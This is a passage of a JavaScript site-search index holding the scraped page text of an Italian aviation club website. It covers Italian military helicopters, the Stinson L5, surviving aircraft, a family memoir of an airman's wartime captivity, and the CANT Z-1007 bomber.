commander calls the officers on duty, and gives the necessary orders: a WS 51 helicopter is to fly to the Araxos airbase whilw two Bell 47's are to be aifreighted to the same base in two S-82 transport aircraft. These three helicopters are operated daily from daybreak till dusk in missions ranging from the transport of injuried people, medical personnel, and sanitary supplies to reconnaissance and survey flights. Obviously, the unique capabilities of the helicopter could not long be confined to fulfilment of Air Force operational requirements only.  The next phase of activity was development of sooperation with both the Army and Navy. Among other innovative missions, the Helicopter Unit is requested to perform deck landings on the Navy cruiser Garibaldi first while it is at anchor, and then while it is underway. It is the first time in Italy that this type of operational experiment is successfully performed. The Helicopter Unit is now grown-up: 3.000 flight hours, many of which for actual rescue operations or for various operational missions, trebled helicopter fleet, quadrupled fully-trained personnel. It is from this small nucleus of helicopters and personnel that a program for the build-up of specialized personnel for the Army, Navy, and Air Force units was indicated. In the early months of 1955, it was decided to organize a Helicopter Training Center at the Frosinone airport, and this facility may now be seen as the principal source of trained pilots and ground crew for all the Italian rotary wing services, and for personnel of many other nation's services as well. Alto Stampa  Gli elicotteri AB 47 Gli elicotteri Bell G47 furono prodotti dall'Agusta con la sigla AB47J. Erano la diretta riproduzione dello stesso modello G47H americano &quot;Ranger&quot;. Migliorati nella loro struttura e nel motore, erano dotati di quattro posti e furono adottati dall'AM e dalle altre forze armate. Nella sua utilizzazione e servizio pochi sono stati gli incidenti mortali che li hanno visti coinvolti. Un AB47 incidentato nel bagnasciuga davanti a Fiumicino nel 1962 (?) Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[75]=new Array("http://www.volareflyfree.it/stinsonL5.html","Aeroplano Stinson L5 Sentinel","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Dove siete: Home Page / Aeronautica / Aeroplani Sopravvissuti / Stinson L5 Sentinel Home Page Aeronautica Aeroplani Sopravvissuti North American T-6G Fiat G-91T Stinson L5 Sentinel Elicottero Mil Mi-2 Informazioni Contattaci Stinson L5 (Sentinel) Lo Stinson L5 fotografato a Padova nel 1978 L'aereo Stinson L5 (Sentinel) inizia la sua vita operativa, dopo che l'Aeronautica Militare statunitense (U.S. Army Air Forces), acquista un certo numero di velivoli da utilizzare come aereo di collegamento. La produzione ha inizio nel 1941 con la sigla YO-54s; superati i collaudi inizia la produzione dei circa 5.500 velivoli richiesti. L'aereo per la diversificazione degli impieghi a cui sarà destinato, lo vedrà modificato e prodotto in esemplari variegati tra loro per arodinamica, accessoristica e struttura. Senza armamento, si distingue per essere usato in terreni di atterraggio corti e la sua manovrabilità in avvicinamento, utile per l'atterraggio in piste circondate da alta vegetazione o foreste, diventa una delle sue caratteristiche principali. Una rara immagine della versione L5 Sanital Viene concepito come aereo destinato alla ricognizione sulla linea del fronte, alla evacuazione feriti: da quì la modifica per l'alloggiamento di una barella (modello Sanital); supporto ai rifornimenti, trasporto di personale, ecc.. l'area di operazioni che ne vide il massimo impiego fu l'Asia. In Europa, dopo la guerra, nelle basi aeree statunitensi, era normale vedere questo aereo fare servizio regolare fra i comandi per il movimento del personale, degli ufficiali comandanti, e postale. Nelle basi americane in Italia lo Stinson L5 era presente in numero non eccessivamente rilevante e opera principalmente nel nord Italia, nelle basi venete. Declassato dall'USAAF, viene destinato ad uso civile negli aeroclub (italiani) come aereo scuola e sopratutto, come trainatore di alianti. La sua storia e la sua concezione come aereo militare hanno avvio nel 1938, quando, al raduno nazionale di aviazione (National Air Races) a Cleveland nello stato dell'Ohio (USA) , il pilota collaudatore germanico Emil Kropf, presenta il Fieseler Fi-156A-1 Storch (STOL). Ai militari e tecnici americani presenti non sfuggono le potenzialità e la operatività di un velivolo a volo lento, (decollo in 18 metri - 61 feet - atterraggio in 64 metri - 213 feet, velocità minima di volo di 40 Kmh - 25 mph), e pertanto provvedono a richiedere ad alcune case costruttrici Usa, dei prototipi per un biposto leggero STOL da osservazione. Nel 1940, di 12 proposte fatte all'Esercito, vengono scelti i modelli concepiti dalla Bellanca Aircraft, Ryan Aeronautical e Stinson. Dalla prova e dai test svoltisi sul campo d'aviazione di Daytona, Ohio, la scelta cade sul prototipo della Stinson (già attivo in una versione commerciale chiamata Stinson 105 Voyager), ed entra in produzione. L'aereo scelto, inizialmente chiamato O-62 e più tardi rinominato L-5 (la “L” sta per collegamento - “Liaison”), venne definitivamente chiamato Sentinel, che ne divenne il nome proprio. Per concludere. Gli ultimi L-5 negli USA, hanno operato fino al 1962 nelle Accademie Militari dell'Aeronautica. Dagli avieri era conosciuta anche come &quot;jeep del cielo&quot; (&quot;flying jeep&quot;); rimane un aereo estremamente versatile e capace di performances utilitarie di ottimo livello. L'aereo gemello dello Stinson L5 il Bellanca Champion Bellanca Aeronca 7BC Champion L’origine di questo aereo si situa neglia anni 1947-48, quando l'Usaf (US Air Forces) ordinavano un aereo di collegamento tipo L-16 corrispondente al modello Aeronca 7BC Champion. Cinquecentonove L-16A con motore Continental O-190-1 de 85 cv e cento L-16B a moteur Commental 0-205-1 de 90 cv furono consegnati all’USAAC. Nel 1951, tutti i diritti di produzione della gamma Aeronca saranno acquistati dalla Champion Aircraft Corp. de Osceola (Wisconsin). Questa ditta produrrà i modelli 7GC Challenger , 7EC Traveller , 7PC Tri-Traveller e il 7ECA Citabria a moteur Lycoming 0-235-01 di 108 cv e che effettua il primo volo il primo maggio 1964. E’ direttamente derivato dal modello Aeronca 7AC Champion la cui origine si fa risalire a prima della seconda guerra mondiale, e che fu presentato alle prove dei prototipi di STOL al campo d'aviazione di Daytona, Ohio. Questa famiglia dei “Champion” che migliorerà sul filo degli anni con i Citabria 7GCAA (Lycoming 0-320-E219). Nel 1968, un totale di 865 Champion Citabria sarebbero stati costruiti. La storia continua dopo la fusione della società Champion con Bellanca Aircraft Corp. d'Alexandria (Minnesota), che sarebbe divenuta effettiva il 30 settembre 1970. Ritroviamo quindi, la versione di base il modello 7AC Champion, rilanciato sul mercato con motore Franklin 2A-120B di 60 cv come pure tutta la gamma dei Champion Citabria precedenti. Da questi ultimi, Bellanca estrapolerà i modelli 8GCBC Scout e 8K.CAB Dacathlon. Dati tecnici del modello 7ECA Citabria: Apertura alare: 10,18 m - Lunghezza: 6,90 m - Altezza: 2,02 m – Superfice portante: 15,32 mi – Peso a vuoto : 930 kg – Peso totale: 748 kg – Velocità massima: 180 km-h – Velocità di crociera al 75 % della potenza e a 2 300 m: 172 km-h - Autonomia: 1180 km – Autonomia massima: 1 450 km – Velocità all’atterraggio: 80 km-h – Velocità ascensionale: 168 m-mn – Altitudine di esercizio: 3 660 m. L-5 matricola I-AEFD smontato presso il Gruppo Volovelistico Patavino a Padova Quello che resta dell'aereo Stinson L-5 matricola I-AEFD  Il motore Lycoming O-435-1 di 190 hp a 6 cilidriL'aereo Stinson L5 era dotato, almeno nella sua prima versione, di un Il motore Lycoming O-435-1 di 190 hp a 6 cilidri orizzontali contrapposti, e raffreddamento ad aria, (motore usato anche sull'elicottero Bell 47G con la sigla TVO-435). Gli permetteva una velocità massima di 130 miglia orarie (circa 205 Km h e una di crociera di 90 (circa 150 Km h). Successivamente alcuni esemplari furono dotati di un motore più potente. Alto Stampa  Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Telefon: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[76]=new Array("http://www.volareflyfree.it/sopravvissuti.html","Aeroplani sopravissuti o rottamati","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page / Aeronautica / Aeroplani sopravissuti Home Page Aeronautica Aeroplani Sopravissuti 1 2 Approfondimenti Tecnici Il Motore Radiale Aeroplani Sopravissuti Per una fruizione museale di aeroplani che hanno fatto la storia dell'aeronautica Dicembre 2009 - Mig 21 Aeroplano fotografato a Chisinau nella Repubblica Moldova - Museo Militare. 16 dicembre 2009 IL North American T-6G Roma - Centro Tecnico Rifornimenti Il North American T-6G modello &quot;Texan&quot;, chiamato familiarmente Harvard, iniziò la sua attività nel 1939....    Leggi 22 luglio 2008 Stinson L5 Sentinel Padova Aeroclub - (Non operativo in via di demolizione) L'aereo Stinson L5 &quot;Sentinel&quot; delle forze aeree statunitensi (U.S. Army Air Forces), diventa operativo nel 1942.....   Leggi 06 maggio 2008 Fiat G 91T Foggia FIAT G91T/1 Questo aeroplano è appartenuto alla Scuola di Volo con base all'Aeroporto di Amendola.   Leggi 30 luglio 2004 Fiat G 91T Palermo (Aeroporto di Boccadifalco) Aeroplano della 32a Brigata Aerea.....   Leggi 19 gennaio 2008 Piaggio-Douglas PD 808 GE Aviosuperfice Val Vibrata (Te) - Esposto al pubblico Progettato nella prima metà degli anni 60 dalla I.A.M. Rinaldo Piaggio S.p.a .....   Leggi 19 gennaio 2008 Lockheed T 33A Aviosuperfice Val Vibrata (Te) - Esposto al pubblico Matricola Militare 51 9249. Consegnato all'Italia nel 1952 costruito negli USA dalla Lockheed Aircraft Corporation....   Leggi &lt; Precedente1 2 Seguente &gt; Alto Stampa Piaggio P-148 Aerei che hanno fatto storia Aeroplani del mondo Antonov An-2 visibile a Petrosani in Romania Velivolo potente e versatile in forza a tutte le aeronautiche del blocco ex Sovietico. Ancora attivo in Africa e Cuba per voli di linea a breve raggio, trasporto merci, agricoltura e aeroclub. Prezzo di acquisto dai 6.500 Euro in sù. Chi fosse interessato all'acquisto formando un consorzio di proprietari per il suo posizionamento statico nel nostro Club, telefonare a Severino Tognoni 3403128295 oppure scriveteci. Vi proponiamo foto di rara bellezza, di questo aereo, in un blog romeno a tema aeronautico Volare Fly Free | Manfredonia | Piazza delle Rose, 3 | Telefon: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[77]=new Array("http://www.volareflyfree.it/aviatori.html","Avieri e Soldati che hanno servito nell'Arma Aeronautica negli anni","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page / Aeronautica / Avieri e Soldati che negli anni hanno servito nell'Arma Aeronautica Home Page Aeronautica Aeroplani Sopravvissuti Gli stemmi e le insegne dell'Aeronautica Militare Italiana Avieri e Soldati che negli anni hanno servito nell'Arma Aeronautica Contattaci Avieri e Soldati che hanno servito in aviazione negli anni Foto, storie, racconti e ricordi di Aviatori e Soldati nella Regia Aeronautica e dell'Aeronautica Militare che hanno operato negli aeroporti, nei teatri di guerra e nelle missioni di pace. Un meritato riconoscimento a chi ha servito l'Italia, nell'anonimato del proprio dovere, con coraggio e abnegazione. Questo sito di cultura aeronautica è dedicato alla memoria dei mie genitori Vittorio Tognoni e Palma (Palmira) Todaro che per tutta la vita hanno onorato l'Italia è l'Arma Aeronautica. This site of aeronautical culture is dedicated to my parents' memory of Vittorio Tognoni and Palma (Palmira) Todaro who have honored in all our life, Italy and the Italian Air Force. 28 lug 2010 V.Tognoni sul Macchi 200 del Cap. Lucchini precipitato sull'isola di Ustica nel settembre del 1941 Vittorio Tognoni Marconista - Aeronautica Militare Sono orgoglioso di raccontare e ricordare la vita de mio genitore aviatore. Fin dalla mia prima fanciullezza, mio padre mi conduceva in aeroporto, a Boccadifalco dove prestava servizio: sono cresciuto fra gli avieri e in sala radio; ricordo bene, il rumore caratteristico dei C45 e dei DC3 della LAI (Linee Aeree Italiane), in decollo. Mio padre mi ha trasmesso l'amore per l'Arma Aeronautica, il senso dell'onore e il rispetto della legge e delle Istituzioni. Il racconto della sua vita militare si basa sulla cronologia degli anni, legati fra loro con il filo dell'affetto e del ricordo dei fatti che raccontava con grande dignità e umanità. 27 lug 2011 Foto: 1952 - Palma Todaro in tuta di volo Palma Todaro o Palmira Mia madre Palmira aveva sposato Vittorio, mio padre, nei mesi successivi il suo ritorno dalla prigionia negli USA. Lo aveva conosciuto ad un corso (credo in pieno periodo bellico) per ausiliarie marconiste delle forze armate nel quale Vittorio era istruttore. Si erano &quot;piaciuti&quot; e dopo un breve periodo si erano fidanzati. Di lì a poco, la partenza dell'amato &quot;per ignota destinazione&quot;. Siamo a maggio del 1942. Non si rivedranno più sino a Settembre del 1946. Il matrimonio nel mese di dicembre, fu a detta dei miei cugini Vincenzo e Ignazio Todaro, testimoni dell'evento, una bellissima festa: nel lungo vestito bianco la sposa e in uniforme lo sposo. Mamma è sempre stata orgogliosa di aver sposato un militare dell'&quot;Arma Azzurra&quot; come amava sempre ripetere. Educata nel periodo fascista ne aveva assorbito gli ideali e il patriottismo. Aveva conservato quella onestà intellettuale, di una destra rispettosa delle istituzioni, con un grande senso del dovere, nella profonda convinzione che sposando un militare il suo ruolo nella società sarebbe cresciuto. Nata da una famiglia benestante aveva dovuto subire i contraccolpi della guerra perdendo molti dei suoi averi, tra l'altro nel 1943, quello della casa, crollata sotto i bombardamenti tedeschi sull'aeroporto di Boccadifalco al momento dell'armistizio. Ricordo bene la sua incredulità e amarezza che trasparivano dall'evocazione di un evento raccontato da mio padre: un SM-81 carico di benzina destinata alle nostre basi aeree in Tunisia, avevano trasportato acqua invece che di carburante, conseguente un furto o un sabotaggio. 1945 - Foto dei prigionieri di guerra italiani negli USA Particolarmente interessante è il racconto del periodo trascorso in teatro d'operazioni in Africa settentrionale e al periodo di cattività negli USA come prigioniero di guerra. V.Tognoni con i compagni di prigionia negli USA 28 nov 2011 V.Tognoni con i compagni di prigionia negli USA. La foto è stata scattata a Fort Meade (Maryland USA) nel 1944. I soldati italiani quì fotografati, con la scritta Italy sul braccio sinistro, furono inquadrati nelle forze italiane che dopo l'otto settembre del 43' decisero di cooperare con gli Alleati e proseguire la guerra al loro fianco. Godettero di uno statuto direttamente generato dal patto di cobelligeranza che gli Alleati accettarono il 16 ottobre. Alloggiavano negli stessi campi degli americani anche se l'acquartieramento era ubicato in zone differenti. Vittorio fu addetto come autista alla movimentazione dei mezzi militari dalle fabbriche ai punti di raccolta degli stessi pronti per essere imbarcati sui treni che avevano come destinazione ultima, i porti della costa del Pacifico. Papà, raccontava che in uno di questi tragitti era rimasto per strada a secco di benzina (quella che mettevano nei serbatoi era misurata alla goccia ed era sufficiente per il solo tragitto), e che l'attesa al bordo della strada fu brevissima: un civile in camionetta udendo le ragioni della panne, mise mano al suo serbatoio travasando la benzina necessaria al mezzo per proseguire. Nel racconto mio padre faceva trasparire la profonda ammirazione per il popolo americano e per il suo senso patrio. V.Tognoni sull'Alaparma AM-65  Vittorio Tognoni presente sull'aeroporto di Boccadifalco (Palermo) per una foto ricordo su l'Alaparma AM-65 con sigla I-DOND che partecipava al giro di Sicilia del 1950. Foto rarissima di quest'aereo con questa sigla. Potete vedere una foto dell'AM-65 con sigla I-DOND davanti a un hangar. SAI Ambrosini S-1001 Grifo con la sigla I-RANB I bambini davanti sono (da sinistra) Mauro e Severino Tognoni  Una rara foto dell'aereo SAI Ambrosini S-1001 Grifo con la sigla I-RANB presente sull'aeroporto di Boccadifalco (Palermo) durante il giro di Sicilia del 1951 I bambini davanti sono (da sinistra) Mauro e Severino Tognoni Relitti di fusoliere di G-91 (Roma) Parti dell'aeroplano FIAT G-91 abbandonati presso un autodemolitore di Roma Ricordiamo 10 ottobre 2010 La lapide che ricorda Donald George Marchant Sergente Pilota Donald George Marchant - Pilota RAF Ricordiamo uno fra i tanti piloti morti in guerra. Donald George Marchant pilota della RAF con i genitori di orgine olandese morto ai comandi di uno Spitfire VIII all'età di 22 anni nell'area di Pesaro, il giorno 29 agosto 1944 e sepolto nel Cimitero Militare di Gradara. Alto Stampa  Un documento interessante per i cultori di militaria Lettere che V.Tognoni scriveva da Fort Mead nel Maryland in USA alla sua fidanzata che poi sarebbe diventata sua moglie Palmira. Nella sua vita ha conservato una grande stima e un grande rispetto per il popolo americano e per le sue forze armate, ricordando sempre la grande umanità dimostrata verso i prigionieri di guerra. Vorrei donare in segno di riconoscenza, al museo militare di Fort Mead, una o più lettere i mio possesso come documento storico di quell'infausto e insensato periodo che ci ha visti nemici con gli Stati Uniti. Chi volesse acquistarla ci contatti, il prezzo è di 15,00 Euro Lettere che V.Tognoni scriveva da Fort Mead nel Maryland in USA - 19 luglio 1944 V. Tognoni letters he wrote from Fort Meade in Maryland USA with his girlfriend who later became his wife Palmira. In his life he retained a high regard and great respect for the American people and its armed forces, always remembering the great humanity shown to prisoners of war. I want to give a token of gratitude to the military museum at Fort Mead, one or more letters to my tenure as a historical document of that inauspicious period and senseless that we saw with the United States enemies. Aermacchi MB 326 E esposto a Termoli - Aero Club  Come e dove ottenere documenti di un militare. Come ottenere il Foglio Matricolare di un aviatore. Coloro che vogliono ottenere informazioni sul servizio militare o carriera militare di un congiunto possono rivolgersi ai Servizi Documentazione dell'Esercito. Si potranno quindi ottenere per tutti i ruoli della Forza Armata le documentazioni tra l'altro relative a: stato di servizio foglio matricolare copia Foglio di Congedo Volare Fly Free | Manfredonia (Foggia) Italia | Piazza delle Rose, 3 | Tel: 0884-587031 | Cell: 3403128295 | E-mail:");sQ1[78]=new Array("http://www.volareflyfree.it/cant_z_1007.html","Cant Z-1007 - Aerei Italiani della seconda guerra mondiale - Bombardiere","","Home Page Le News Aeronautica Scuola di Volo Il Nostro Album di Foto Contattaci Dove siete: Home Page / Aeronautica / Velivoli storici / Cant Z 1007 Home Page Aeronautica Aeroplani Sopravvissuti Gli stemmi e le insegne dell'Aeronautica Militare Italiana Sigle e numeri di aeroplani Avieri e Soldati che hanno servito nell'Arma Aeronautica negli anni Velivoli Storici Un bombardiere italiano: il CANT Z 1007bis FAIREY FIREFLY, Caccia Bombardiere inglese della II Guerra Mondiale Contattaci Il CANT Z1007bis &quot;Alcione&quot;, Bombardiere Italiano della Seconda Guerra Mondiale Le insegne e le livree del CANT Z1007bis &quot;Alcione&quot; Un CANT Z-1007bis, la 176° squadriglia R.S.T. (Ricognizione Strategica Terrestre), danneggiato all'atterraggio sul terreno dell'aeroporto di Palermo Boccadifalco. Progettato dall'Ing. Filippo Zappata, nel marzo 1937 venne presentato il primo prototipo prodotto dalle Officine CRDA CANT (Cantieri Riuniti dell'Adriatico - Cantiere Navale Triestino). Costruito interamente in legno divenne la punta di lancia delle nostre squadriglie di bombardieri per tutta la Seconda Guerra Mondiale. I nostri equipaggi sul CANT diedero prova di grandi capacità e buona preparazione dando prova di coraggio e di eroismo su tutti i fronti. Z-1007 &quot;Alcione&quot;. Il CANT Z-1007bis si rivela un bombardiere riuscito con maggiore successo rispetto al suo predecessore il CANT Z-1007, progettato dall'Ing. Filippo Zappata, il cui prototipo fu presentato per la prima volta nel 1937. Gli ordinativi del velivolo si fecero sempre più importanti e tra gli anni 1939 e il mese di dicembre del 1942, le officine CRDA CANT (Cantieri Riuniti dell'Adriatico - Cantiere Navale Triestino) ne vennero costruiti circa 450 esemplari. Un altro centinaio di esemplari furono costruiti su licenza dalle Industrie Meccaniche Aeronautiche Meridionali (IMAM) negli stabilimenti di Napoli. Un CANT Z-1007bis, a doppia deriva. Totalmente in legno supera tutte le prove di robustezza e affidabilitàLe differenze tra il modello iniziale dotato di motore Isotta-Fraschini Asso, e quello &quot;bis&quot;, sono tali che di fatto si tratta di un aereo completamente nuovo: gli alloggiamenti e supporti motore sono rafforzati e ingranditi come pure la parte anteriore della fusoliera; il vano bombe viene posto in posizione più tradizionale. La torretta della mitragliera dorsale diventa una &quot;delta E&quot; e viene munita di una mitragliatrice Scotti da 12,7 mm rimpiazzata a partire dalla serie XI a, da una Breda V. I primi 80 CANT Z-1007bis avranno un impennaggio monoderiva mentre i successivi esemplari riceveranno una bideriva, questo permetterà una migliore difesa del settore posteriore e un controllo più efficace dell'apparecchio in caso di volo con potenza asimmetrica. L'esperienza della guerra suggerirà in seguito un grande numero di migliorie. Queste non saranno fatte per colpa della fine della guerra, ma permetteranno al Cant Z 1007bis di avere una operatività soddisfacente fino alla fine della guerra. Fra le modifiche più importanti effettuate secondo un programma ben definito fra le quali menzionare la sostituzione del precedente visore da bombardamento tipo Jozza con uno più moderno di produzione tedesca il Lofte 7d. Fu migliorato l'armamento difensivo laterale istallando mitragliatrici da 12,7 mm al posto di quelle esistenti SAFAT da 7,7 mm; l'installazione di un sistema d'autopilota Siemens e un aumento della potenza motrice con la scelta di motori Piaggio R-XI bis. Tutte queste modifiche obbligheranno gli aerei a subire dei fermi tecnici in cantiere e in fabbrica. Per soddisfare le necessità della ricognizione strategica a un gruppo di venti aerei furono aggiunti dei serbatoi supplementari sotto il vano bombe (700 lt.) e nella fusoliera (300 lt.), migliorando così l'autonomia che superava di molto i 1000 km. Sei velivoli saranno poi trasformati in ricognitori fotografici con apparecchi fotografici Robot e altri 12 esemplari monoderiva, appartenenti alla prima serie, verrano trasformati in &quot;bengalieri&quot; per il lancio di artifizi luminosi in luogo d'operazione. Allo stesso tempo le officine del CRDA svilupperanno un nuovo modello di Cant Z dalle caratteristiche più avanzate particolarmente in ciò che concerne la velocità massima raggiungibile. Il prototipo ottenuto dalla elaborazione del Cant Z-1007bis (MM24558) sul quale il nuovo propulsore Piaggio P. XIX R.C. 45 da 1.180 CV rimpiazza il superato P-XI, raggiunge i 500 km-h performance ragguardevole per un trimotore. La massa a pieno carico passa da 2,4 tonnellate (in sovraccarico) a 2,5 t. Con un carico utile di una tonnellata. Questo nuovo modello sarà chiamato Z-1007ter che si rivelerà in molti casi superiore al bimotore Z-1018 che doveva rimpiazzarlo. Un CANT Z-1007bis sorvola le montagne dell'Epiro. Appartiene alla 210a squadriglia, 50° gruppo, 16a squadra di bombardamento terrestre. E' interessante far notare che pur riconoscendo unanimemente la superiorità del bimotore sul trimotore, si è continuato a lavorare su quest'ultimo con risultati alquanto positivi. Il CANT Z-1007 resta il bombardiere più affidabile della Regia Aeronautica dopo tre anni di duro servizio su tutti i fronti, impegnato in condizione di inferiorità sempre più evidenti. Per questa ragione, la sua utilizzazione sovente limitata alle operazioni notturne, permetterà lo stesso ai vari comandi nel teatro d'operazioni nel Mediterraneo, di dare prova di valore e competenza. La superiorità del Z-1007 sugli altri bombardieri italiani, è definitavene confermato nel corso dell'estate del 1943 allorché lo stato maggiore dell'Aeronautica decide che, nell'attesa dell'entrata in servizio del CANT Z-1018, le squadriglie operative dovranno essere dotate solamente dei trimotori dell'ing Zappata; da tempo è iniziato il ritiro progressivo degli SM-79 dalle operazioni di bombardamento trasformandoli in aerosiluranti, mentre i Fiat BR 20 passano al servizio di osservazione e ricognizione aerea. Solo alcuni SM-84 restano operativi in prima linea con la 43° squadra. Malgrado il buon lavoro fatto dai laboratori di progettazione e principalmente dal l'ing Zappata, che nel frattempo è nominato direttore tecnico della società Breda, l'industria aeronautica di guerra italiana non riesce a produrre e mettere in linea un bombardiere moderno in grado di controbattere la superiorità tecnica dei velivoli similari degli alleati. Esemplari mono e bideriva della 35a squadra durante l'inverno 1940/41; si nota la diversa mimetizzazione dei velivoli. Con la situazione continuamente degradata a causa dei bombardamenti alleati sui centri industriali del nord Italia, la produzione del CANT Z-1007ter resta limitata e non esercita che una debole influenza sul corso delle operazioni. Fra i mesi di febbraio e agosto 1943 non ne saranno costruiti che una sola serie di cinquanta esemplari. Inoltre a causa della scarsità di motori P-XIX necessari anche al caccia-bombardiere Re.2002, i primi undici Z-1007ter sono equipaggiati di propulsori Piaggio P-XI bis, il cui uso avrà ripercussioni inevitabilmente negative sulle performance della macchina. Nel 1940 verrà approntato un modello di idrovolante chiamato CANT Z-516 direttamente derivato dal Z-1007 e testato sul lago di Bracciano sotto la supervisione del 2° Centro Sperimentale di Vigna di Valle. L'aereo non avrà nessuna pratica applicazione nei programmi militari dello Stato Maggiore, dunque il modello testato e pronto per la produzione in serie sarà reinviato al costruttore e riportato allo standard terrestre eliminando gli ingombranti scarponi galleggianti e le generose derive verticali a disegno quadrato che ne hanno caratterizzato fortemente l'aspetto esteriore. Nei piani del Gen. Ferdinando Raffaelli più che un un idrovolante per operazioni anfibie, c'era un ardito progetto di aerei radioguidati a distanza, a guisa di bombe, condotti da un aereo &quot;madre&quot;. Le prime prove risulteranno soddisfacenti e viene programmata un'azione di guerra con destinazione lo scacchiere marittimo che in quel momento vedeva impegnata la flotta inglese e quella italiana. Per la bisogna vengono approntati due strani trimotori uno il CANT Z-1007, &quot;conduttore&quot;, a bordo le quale prende posto il generale Raffaelli, e un SM-79 dipinto d'un colore giallo sgargiante, caricato con 1000 kg d'esplosivo per essere teleguidato contro una grossa unità navale inglese.L'azione iniziata sotto i migliori auspici, per il fattore sorpresa che l'avrebbe accompagnata, con il decollo da Guidonia il 12 agosto 1942 dei due aerei, non ebbe fortuna: subito dopo l'abbandono da parte del pilota del SM-79, lanciatosi con il paracadute, un banale guasto a un condensatore del sistema di radio-guida nell'aereo madre, rende impossibile la trasmissione degli ordini e il Savoia Marchetti col solo pilota automatico continua in volo rettilineo fino in Algeria, dove si schianta. A seguito del ritrovamento dei resti dell'aereo senza equipaggio da parte dei soccorritori, verrà inviata alla commissione italiana d'armistizio, da parte delle forze collaborazioniste francesi presenti in quel paese, una nota di servizio in cui si esprimeva tutto lo stupore per il fatto. CANT Z-1007bis, dell'aviazione co-belligerante al decollo dall'aeroporto di Lecce. A conclusione di queste note introduttive sulla carriera operazionale del CANT Z-1007, riteniamo opportuno menzionare alcune opinioni concernenti le qualità del volo. Tutti i piloti che hanno avuto la fortuna di pilotare questo aereo rimpiangono questo buon trimotore nel quale riponevano una grande fiducia rimasta inalterata per tutto il corso della guerra. Il Z-1007, è un aereo solido e capace di incassare, è anche molto stabile. Ha una buona capacità di mira e di inquadramento del bersaglio e la sua ottima sistemazione dei posti di difesa e una preda difficile per la caccia avversa. Il decollo è semplice senza la tendenza a derapare anche a pieno carico; atterra con facilità alla portata di tutti anche dei piloti poco allenati. I comandi di volo sono leggeri e rispondono rapidamente a tutte le sollecitazioni sia ad alta velocità che a quella ridotta. Il volo a spinta asimmetrica &quot;slip string&quot; non richiede alcuna abilità particolare dovuto a una abile compensazione delle superfici di controllo. Notiamo che la disposizione uno dietro all'altro, in tandem, dei piloti, a cui l'ing. Zappata teneva molto, permise una riduzione della sezione della fusoliera. Bisogna ancora far notare che certe unità in area d'operazione rilevano in molte occasioni che il CANT z-1007 costruito dall'IMAM mostrano quasi sistematicamente dei difetti contrariamente a quelli provenienti dalle catene di montaggio della CRDA, difetti dovuti a una scarsa qualità del lavoro e una messa a punto insufficiente. Lo stato maggiore interviene energicamente per rimettere le cose a posto. La produzione del CANT Z-1007 conoscerà almeno quattordici serie realizzate in cinque anni, fino al 1944 al momento dell'occupazione tedesca del nord Italia. CANT Z-1007bis, della 261a squadriglia basata a Rodi nel Mare Egeo. Non solamente le officine CRDA, ma anche IMAM e Piaggio parteciperanno a questo sforzo. Mentre la società napoletana conclude regolarmente la fabbricazione dei cento &quot;bis&quot; ordinati, Piaggio ne consegna solo una piccola parte dei centocinquanta &quot;ter&quot; in costruzione nelle sue officine di Finale Ligure. In totale, più di seicento esemplari verranno costruiti - il numero esatto non può essere precisato per mancanza di documenti in merito - numero consistente considerata la capacità limitata dell'industria italiana. Questo situa il trimotore della CDRA al secondo posto fra i bombardieri italiani impiegati nel corso della seconda guerra mondiale (dopo i 1 200 S.M-79). Battezzato col nome di &quot;Alcione&quot; i primi CANT Z-1007 vengono assegnati alla 16 squadra, con sede Vicenza, verso la metà di maggio del 1939 rimpiazzando i vecchi SM-81 che formano le squadriglie 210 e 211 del 50 gruppo. Nel mese di agosto seguente, le squadriglie 212 e 213 del 51° gruppo riceveranno il nuovo aereo. Si completa così la trasformazione delle squadre che, in dicembre, possiedono trentuno CANT che rappresenta la quasi totalità della produzione della CRDA. E' in seno alla 16 squadriglia che avverrà l'addestramento degli equipaggi contenti di avere finalmente un velivolo &quot;buono alla guerra&quot; come il Cant. Per ironia della sorte, i primi quattro Z-1007bis sono consegnati alla 47ª squadriglia nella base di Ghedi, vicino Brescia, e che verrà sorpresa in piena transizione e addestramento su questi nuovi velivoli, dalla dichiarazione di guerra. Una foto del CANT in volo. Il debutto operazionale del nuovo bombardiere si situa in agosto del 40 allorché la 47ª squadra è spostata a Trapani-chinisia con una trentina d'aerei i previsione dell'offensiva aerea sull'isola di Malta. L'inverno del 1940-41 è molto duro per gli equipaggi della 47 squadra et per quelle delle 50, 41 e 95 gruppi che si contendevano il cielo freddo e ostile dei Balcani dove affronteranno in innumerevoli scontri gli irriducibili PZL greci e i Gloster &quot;Gladiator&quot; della RAF. Nel mese d'aprile 1941 l'attacco scatenato contro la Yugoslavia mette ancora in azione i CANT Z-1007bis delle 47°, 35' et 16° squadriglie che bombardano la base di Mostar difesa con determinazione dai Bf-109 slavi. Il Corpo Aereo Italiano (CAI) che su ordine di Mussolini partecipa alla battaglia d'Inghilterra, comprende un distaccamento di CANT Z-1007bis, la 172° squadriglia R.S.T. (Ricognizione Strategica Terrestre). All'inizio della guerra questa e operativa sui Fiat BR-20 e agisce nel mezzogiorno di Francia. Spostato a Chièvres, i CANT Z. effettuano una sola missione di diversione su Great Yearmouth nel mentre che dei BR-20 attaccano in forze il porto di Harwich. Nello scacchiere del mare Egeo, i CANT Z-1007bis,reclamati con forza da Ettore Muti che comanda il 41 Gruppo, arriveranno verso la fine del mese di agosto del 1940. Abbinandosi nelle azioni, con i sei bombardieri a largo raggio d'azione SM-82, i quindici CANT Z attaccano a più riprese obiettivi in Medio Oriente, accusando la perdita di due soli aerei atterrati per ragioni tecniche, uno in Syria e l'altro in Turchia. Rinviato a Brindisi nel corso delle operazioni contro la Grecia, il 41 Gruppo è rimpiazzato a Gadurra (Rodi) dal 50 gruppo resosi disponibile con la fine delle operazioni Greco-Yugoslave. La 172 squadriglia RST eviene egualmente spostata nell'area orientale del Mediterraneo dopo un breve periodo, privo di successi, passato sulla Manica.I Cant Z di ricognizione strategica sono molto apprezzati su questo nuovo teatro d'operazione effettuando un prezioso lavoro di sorveglianza et di controllo sui porti egiziani.L'attività del CANT Z-1007bis nel mare Egeo è intenso 